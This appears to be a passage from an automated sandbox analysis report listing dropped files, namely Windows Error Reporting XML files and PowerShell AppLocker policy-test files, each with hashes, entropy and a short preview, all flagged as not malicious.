Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477101" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBCE2.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7414
Entropy (8bit):	3.6813548774064895
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbp8n96YBDs4rgmfHNV9re17K5aM+ym:R6l7wVeJp8n96YBDDrgmftq8p+ym
MD5:	2E72FC91E7FD0D7B78932828094592BC
SHA1:	82D7FE6BC6E5AFFA54BF71F3FFE38ADD4D96367A
SHA-256:	64721555398D4C90D7F23491D2C492A90799B77D27B619316D8663AAF12A20E8
SHA-512:	3402227C4C50F99488A2E3FEE93D0F2E18CD0F4EFC51452740D71EA988CAD324640E7F60E1B09ACFEA7090052CFAC90BE7854DD3492028B10D7AC8F72BAC1DD9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.9.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD12.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.566335408717395
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmtJg771I9JWWpW8VYmYm8M4JFKlnOtSF3dyq8vT0Ot6ytfqd:uIjfmHI7237VCJFKln3WT0Hufqd
MD5:	2692EE7DD3F75F46822D71270E2E8FBD
SHA1:	4681B1442DDB89FCA65F1BB11AB17D9F456D05BF
SHA-256:	10F31A350A795838302DF0DF21134C24735BD33277190F3148EDFCA19B255EE1
SHA-512:	79DE8C5856239B85E1015E5C2E95B1DBE71F3904CAFE587A1912FDC1DFA6023F75FB6C554F89C72357BB51A45D5A5B7696AA04AB2E3DDF2DC3AFC92F955A2A50
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477099" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0D6.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7418
Entropy (8bit):	3.6830150872680654
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbjAtxaNFS6YB9qdyYgmfHNV9re17K5aMRDkGm:R6l7wVeJjAtInS6YB9qkYgmftq8pRD7m
MD5:	A5C6E1ADCF379A1A4B87472DCDB40AC8
SHA1:	FE025DB595354759F1610CF71BBF24D46E38C784
SHA-256:	26D119D3B5639CB69843A951F66F67D50404579ED4F103AE29816597BA90E23A
SHA-512:	2B199EACB7D5C420F0939C9F831B17525A1B4D7384C832E2A80BBB6DBB89699C0CF3A657736EBB8226C24689A61B5333BD745709A09B0BA7EA87D82FC9D04708
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.3.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0F7.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.567960821485126
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVkJg771I9JWWpW8VYZYm8M4JFKlnOtSFtmyq8vT0OtDytfsd:uIjfViI7237V1JFKlnWWT0Sufsd
MD5:	6175FB6AE96E5C64480AF14E815DEDE7
SHA1:	69201457673940F1CE0B3FCC5242AF5020CA23E3
SHA-256:	4195D248CD911836A1F190C8A68B8CEE795424221F496626903FF628A38146FF
SHA-512:	3CB8077B88C98F5182995FE44632529973468B5D56FBA9E6A906103DE74344FB4E66DABC18F3E40714168482A2A1B58919A899F552260FC9717358248B8C10E4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477103" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2A5.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7416
Entropy (8bit):	3.682021714177243
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetb0PjfQr6YBLv+cq4gmfHNV9re17K5aMr4m:R6l7wVeJ0Pjf06YBb+f4gmftq8pr4m
MD5:	C7FDBC5338E9161FA3C3F712B243A484
SHA1:	DA2F6EC9E83E56C094D4A8063F4FCF3F9AC62BFA
SHA-256:	7135CCF1E7CC584727C689D2BED052E26731AF18B3B90F9A6BF12783B8B1FC3D
SHA-512:	A6CC504077E48923B2C521250DE6FB2E3A642C786F5451300A86A8BFF118163943CE7E072A621B551262A8C818B629F87A6B9BD1DB98B3BD4F1A4F6C744E916E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.7.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2C5.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.566885305626781
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVeJg771I9JWWpW8VYdYm8M4JFKlnOtSFyyq8vT0OtJytfmd:uIjfVUI7237VVJFKlnIWT0Aufmd
MD5:	DEEB614075BDA0718FA00D11BF3E7F0D
SHA1:	13BE827C45E9DD9845F43F7C5111A30A35F1A796
SHA-256:	88E02BD6FF0EFEA5A8A20DD0F28DCFC66061B7A0E2A16ECE6094BF82FC65F8D1
SHA-512:	AFA2B9FE44D97AE2D801D600A4DAED2CA103D974EC2F0473C4961C70EB5EBA2BF63D93E1BECCB2034830D69A0E12A18508FF2FE35382815A9B8138E6DE9A15E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477101" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	3256
Entropy (8bit):	5.417888326413541
Encrypted:	false
SSDEEP:	48:zEzsSU4xymdajm9qr9tz4RIoUQ/78Nf+oHARDGxJZKaVEouYAgwd64rHLjtvwpCX:zEzlHxvJ9qrfIfl7Kf+olJ5Eo9Adrxww
MD5:	DB5EE2B0ECDA2BD58A1D1846F8785BDB
SHA1:	5CE049416112B436E3EA34C97E97FF92CD1E4D86
SHA-256:	C1BBD2DBCD0D56B489D55DA377F1EEB2064B06A3B3E13451B35BB0987E1AE6A9
SHA-512:	ECDFDA0B798E7DAE4E73E3F3D3485D8BD177C6F430B0E09CF3E9816E7D3F0AA968A9AF4CCF60E1806EBE942C8B98DA985D28067272B8F71921FD113B6A6C2751
Malicious:	false
Preview:	@...e................................................@..........H..............@-....f.J.\|.7h8..q.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.................0..~.J.R...L........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04nr4zew.jgq.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0hh2ccgh.mns.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1foa3zv3.jhi.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2hn0xigp.k0l.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bv2l0bch.gkp.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ccpzu3ex.z2l.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dtsg4psr.ua4.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dvdq1ak5.y4z.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fbvaebua.azz.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g0gv2kx5.dc1.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gavupmrq.4qb.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h5y21vrf.k25.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j4oixfh5.vem.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lhrf5m4s.2pw.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lygwdskb.ogi.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tcacbzdw.mwn.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uld1bwk3.uyg.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
